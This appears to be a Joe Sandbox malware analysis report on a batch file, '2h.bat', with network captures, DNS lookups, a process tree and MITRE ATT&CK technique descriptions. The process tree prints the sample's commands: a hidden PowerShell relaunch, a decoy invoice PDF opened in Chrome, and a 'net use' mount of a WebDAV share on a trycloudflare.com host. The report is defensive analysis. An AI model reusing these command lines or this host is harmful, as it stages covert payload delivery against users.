Mar 24, 2025 15:50:20.269697905 CET	49734	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:50:30.219425917 CET	443	49734	142.251.40.196	192.168.2.4
Mar 24, 2025 15:50:30.219480038 CET	443	49734	142.251.40.196	192.168.2.4
Mar 24, 2025 15:50:30.219575882 CET	49734	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:50:31.802458048 CET	49734	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:50:31.802505016 CET	443	49734	142.251.40.196	192.168.2.4
Mar 24, 2025 15:51:03.426799059 CET	49719	80	192.168.2.4	142.250.64.99
Mar 24, 2025 15:51:03.520003080 CET	80	49719	142.250.64.99	192.168.2.4
Mar 24, 2025 15:51:03.520157099 CET	49719	80	192.168.2.4	142.250.64.99
Mar 24, 2025 15:51:19.954225063 CET	49740	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:51:19.954268932 CET	443	49740	142.251.40.196	192.168.2.4
Mar 24, 2025 15:51:19.956749916 CET	49740	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:51:19.956868887 CET	49740	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:51:19.956876993 CET	443	49740	142.251.40.196	192.168.2.4
Mar 24, 2025 15:51:20.171539068 CET	443	49740	142.251.40.196	192.168.2.4
Mar 24, 2025 15:51:20.172137976 CET	49740	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:51:20.172164917 CET	443	49740	142.251.40.196	192.168.2.4
Mar 24, 2025 15:51:30.177586079 CET	443	49740	142.251.40.196	192.168.2.4
Mar 24, 2025 15:51:30.177737951 CET	443	49740	142.251.40.196	192.168.2.4
Mar 24, 2025 15:51:30.177969933 CET	49740	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:51:31.804641962 CET	49740	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:51:31.804682970 CET	443	49740	142.251.40.196	192.168.2.4
Mar 24, 2025 15:51:33.787131071 CET	49708	443	192.168.2.4	52.113.196.254
Mar 24, 2025 15:51:34.116301060 CET	49709	443	192.168.2.4	131.253.33.254

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 24, 2025 15:50:14.769285917 CET	57653	53	192.168.2.4	1.1.1.1
Mar 24, 2025 15:50:14.879667997 CET	53	57653	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:15.758053064 CET	53350	53	192.168.2.4	1.1.1.1
Mar 24, 2025 15:50:15.762254953 CET	54658	53	192.168.2.4	1.1.1.1
Mar 24, 2025 15:50:15.860186100 CET	53	59381	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:15.873464108 CET	53	53350	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:15.874695063 CET	53	54658	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:15.972352028 CET	53	58815	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:16.833005905 CET	53	64927	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:19.895682096 CET	59971	53	192.168.2.4	1.1.1.1
Mar 24, 2025 15:50:19.896028996 CET	62763	53	192.168.2.4	1.1.1.1
Mar 24, 2025 15:50:20.000814915 CET	53	59971	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:20.002268076 CET	53	62763	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:31.817250013 CET	50149	53	192.168.2.4	1.1.1.1
Mar 24, 2025 15:50:31.921622992 CET	53	50149	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:33.751878977 CET	53	57509	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:48.724684000 CET	49455	53	192.168.2.4	1.1.1.1
Mar 24, 2025 15:50:48.883153915 CET	53	49455	1.1.1.1	192.168.2.4
Mar 24, 2025 15:50:48.979231119 CET	138	138	192.168.2.4	192.168.2.255
Mar 24, 2025 15:50:52.688574076 CET	53	54111	1.1.1.1	192.168.2.4
Mar 24, 2025 15:51:07.693167925 CET	63264	53	192.168.2.4	1.1.1.1
Mar 24, 2025 15:51:07.806545019 CET	53	63264	1.1.1.1	192.168.2.4
Mar 24, 2025 15:51:15.050442934 CET	53	52140	1.1.1.1	192.168.2.4
Mar 24, 2025 15:51:15.196801901 CET	53	64178	1.1.1.1	192.168.2.4
Mar 24, 2025 15:51:17.910377979 CET	53	55126	1.1.1.1	192.168.2.4
Mar 24, 2025 15:51:18.674397945 CET	53	58205	1.1.1.1	192.168.2.4
Mar 24, 2025 15:51:27.802215099 CET	49182	53	192.168.2.4	1.1.1.1
Mar 24, 2025 15:51:27.911925077 CET	53	49182	1.1.1.1	192.168.2.4
Mar 24, 2025 15:51:47.027631044 CET	53	53354	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 24, 2025 15:51:45.045152903 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 24, 2025 15:50:14.769285917 CET	192.168.2.4	1.1.1.1	0x2ccd	Standard query (0)	supplier-murray-custody-treasures.trycloudflare.com	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:15.758053064 CET	192.168.2.4	1.1.1.1	0x6685	Standard query (0)	www.healyconsultants.com	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:15.762254953 CET	192.168.2.4	1.1.1.1	0x9ce1	Standard query (0)	www.healyconsultants.com	65	IN (0x0001)	false
Mar 24, 2025 15:50:19.895682096 CET	192.168.2.4	1.1.1.1	0xae50	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:19.896028996 CET	192.168.2.4	1.1.1.1	0xcf18	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 24, 2025 15:50:31.817250013 CET	192.168.2.4	1.1.1.1	0x663e	Standard query (0)	supplier-murray-custody-treasures.trycloudflare.com	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:48.724684000 CET	192.168.2.4	1.1.1.1	0x2b85	Standard query (0)	supplier-murray-custody-treasures.trycloudflare.com	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:51:07.693167925 CET	192.168.2.4	1.1.1.1	0x3cea	Standard query (0)	supplier-murray-custody-treasures.trycloudflare.com	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:51:27.802215099 CET	192.168.2.4	1.1.1.1	0x3ccd	Standard query (0)	supplier-murray-custody-treasures.trycloudflare.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 24, 2025 15:50:14.879667997 CET	1.1.1.1	192.168.2.4	0x2ccd	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.231.132	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:14.879667997 CET	1.1.1.1	192.168.2.4	0x2ccd	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.230.132	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:15.873464108 CET	1.1.1.1	192.168.2.4	0x6685	No error (0)	www.healyconsultants.com	healyconsultants.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 24, 2025 15:50:15.873464108 CET	1.1.1.1	192.168.2.4	0x6685	No error (0)	healyconsultants.com		162.159.134.42	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:15.874695063 CET	1.1.1.1	192.168.2.4	0x9ce1	No error (0)	www.healyconsultants.com	healyconsultants.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 24, 2025 15:50:20.000814915 CET	1.1.1.1	192.168.2.4	0xae50	No error (0)	www.google.com		142.251.40.196	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:20.002268076 CET	1.1.1.1	192.168.2.4	0xcf18	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 24, 2025 15:50:31.921622992 CET	1.1.1.1	192.168.2.4	0x663e	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.230.132	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:31.921622992 CET	1.1.1.1	192.168.2.4	0x663e	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.231.132	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:48.883153915 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.231.132	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:50:48.883153915 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.230.132	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:51:07.806545019 CET	1.1.1.1	192.168.2.4	0x3cea	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.231.132	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:51:07.806545019 CET	1.1.1.1	192.168.2.4	0x3cea	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.230.132	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:51:27.911925077 CET	1.1.1.1	192.168.2.4	0x3ccd	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.230.132	A (IP address)	IN (0x0001)	false
Mar 24, 2025 15:51:27.911925077 CET	1.1.1.1	192.168.2.4	0x3ccd	No error (0)	supplier-murray-custody-treasures.trycloudflare.com		104.16.231.132	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49719	142.250.64.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 24, 2025 15:50:02.610291004 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 24, 2025 15:50:02.708606005 CET	223	IN	HTTP/1.1 304 Not Modified Date: Mon, 24 Mar 2025 14:23:27 GMT Expires: Mon, 24 Mar 2025 15:13:27 GMT Age: 1595 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 24, 2025 15:50:02.988513947 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 24, 2025 15:50:03.087635040 CET	223	IN	HTTP/1.1 304 Not Modified Date: Mon, 24 Mar 2025 14:23:30 GMT Expires: Mon, 24 Mar 2025 15:13:30 GMT Age: 1593 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49722	104.16.231.132	443	1424	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-24 14:50:15 UTC	140	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: supplier-murray-custody-treasures.trycloudflare.com
2025-03-24 14:50:15 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 14:50:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 9256fad80e825e78-EWR CF-Cache-Status: DYNAMIC Allow: OPTIONS, HEAD, GET, PROPFIND, DELETE, COPY, MOVE, PROPPATCH, LOCK, UNLOCK dav: 1,2 ms-author-via: DAV Server: cloudflare
2025-03-24 14:50:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	104.16.231.132	443

Timestamp	Bytes transferred	Direction	Data
2025-03-24 14:50:19 UTC	200	OUT	OPTIONS /syscalls/amsi_trace32.amsi.csv HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045 translate: f Host: supplier-murray-custody-treasures.trycloudflare.com
2025-03-24 14:50:20 UTC	226	IN	HTTP/1.1 404 Not Found Date: Mon, 24 Mar 2025 14:50:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 9256faf3384ec64a-EWR CF-Cache-Status: DYNAMIC Server: cloudflare
2025-03-24 14:50:20 UTC	418	IN	Data Raw: 31 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 27 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 27 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 20 3c 70 3e 34 Data Ascii: 19b<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'><html><head> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'> <title>404 Not Found</title></head><body> <h1>404 Not Found</h1> <p>4
2025-03-24 14:50:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

• cmd.exe
• conhost.exe
• powershell.exe
• cmd.exe
• conhost.exe
• chrome.exe
• net.exe
• chrome.exe
• net.exe

Click to jump to process

Memory Usage

• cmd.exe
• conhost.exe
• powershell.exe
• cmd.exe
• conhost.exe
• chrome.exe
• net.exe
• chrome.exe
• net.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Click to jump to process

Target ID:	4
Start time:	10:49:48
Start date:	24/03/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\2h.bat" "
Imagebase:	0x7ff6cb660000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:49:48
Start date:	24/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:49:49
Start date:	24/03/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\user\Desktop\2h.bat\" hidden' -WindowStyle Hidden"
Imagebase:	0x7ff7016f0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:50:12
Start date:	24/03/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Users\user\Desktop\2h.bat" hidden
Imagebase:	0x7ff6cb660000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:50:12
Start date:	24/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:50:13
Start date:	24/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	10:50:13
Start date:	24/03/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use Z: "\\supplier-murray-custody-treasures.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no
Imagebase:	0x7ff65abe0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:50:13
Start date:	24/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1852,i,15914125147527683270,510566878733152321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2060 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	10:50:19
Start date:	24/03/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use Z: /delete /yes
Imagebase:	0x7ff65abe0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2h.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2c3c5oa.jdp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khxdrv4d.0iw.ps1

C:\Users\user\Contacts\error_log.txt

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
2h.bat